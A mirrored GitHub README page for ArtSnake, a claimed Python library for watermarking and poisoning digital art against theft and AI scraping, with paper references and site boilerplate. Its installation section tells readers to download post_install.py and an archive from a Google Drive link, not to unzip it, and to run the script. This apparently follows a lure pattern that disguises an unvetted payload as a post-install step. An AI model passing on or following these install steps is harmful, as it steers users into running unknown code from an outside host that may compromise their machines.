Coder Social home page Coder Social logo

mekhyw / artsnake Goto Github PK

View Code? Open in Web Editor NEW
0.0 2.0 0.0 161.7 MB

Library for watermarking and poisoning of images, created in an effort to stop digital art theft from fraudsters and AI scrapers

Home Page: https://mekhyw.github.io/ArtSnake/

Python 6.98% Makefile 0.67% CSS 7.12% JavaScript 7.52% HTML 9.42% Common Lisp 3.12% TeX 64.80% Perl 0.09% Batchfile 0.28%
opencv pillow python-library torchvision

artsnake's Introduction

Documentation Status PyPI

ArtSnake

Say no to art theft! Robust and easy-to-use tool/API to protect digital art and photos from use without consent, combining context-aware watermarking and image poisoning.

Current Scenario

Artists are often unable to protect their digital art from unauthorized use. No current solution combines the ease of use of traditional watermarking with the robustness of invisible watermarking and image poisoning techniques, and each has its own limitations.

Current watermark implementation tools are not context-aware. They can often be very easily removed by cropping or editing the image using modern image editing software and generative models, or obstruct the image in a way that is visually damaging to the art. (For the prototype version of the project, this is the main concern)

On the other side of the spectrum, current invisible watermarking techniques are often too complex for artists to use, and require a deep understanding of cryptography and image processing. And in the case of protection against generative models, they are often rely on the good faith of the model creators to respect the watermark, which does not provide a real solution to the problem. Anti-AI image poisoning techniques are, although powerful, not easily accessible in an easily integrable form for artists, especially those who do not possess computing resources or knowledge.

Installation

To install ArtSnake, open your terminal and run the following command:

    pip install ArtSnake

Download the post_install.py and ArtSnake.zip files from the repository https://drive.google.com/drive/folders/1BQiAme8a6fbI0lzCc6Jg3Qfr5LxSJiH3?usp=drive_link.

Ensure that both files (post_install.py and ArtSnake.zip) are in the same directory and DO NOT unzip the ArtSnake.zip.

Open your terminal, navigate to the directory containing these files, and run the following command:

    python post_install.py

This will complete the installation process for ArtSnake.

If you encounter any issues, please refer to the documentation.

Happy coding with ArtSnake!

References

Link to Pypi page

https://pypi.org/project/ArtSnake/

Papers

On the Effectiveness of Visible Watermarks

Visible Watermark Detection in Images

An Adaptive Visible Watermark Embedding Method based on Region Selection

Adaptive Reversible Visible Watermarking Based on Total Variation for BTC-Compressed Images

Preventing Unauthorized AI Over-Analysis by Medical Image Adversarial Watermarking

Benchmarking the Robustness of Image Watermarks

Technologies of Interest

ArtShield

Glaze

Sanative AI

Repositories of Interest

umd-huang-lab/WAVES

rohitrango/automatic-watermark-detection

LAION-AI/watermark-detection

EspacioLatente/Glaze

artsnake's People

Contributors

rafakatri avatar mekhyw avatar andrebbm avatar

Watchers

Kostas Georgiou avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.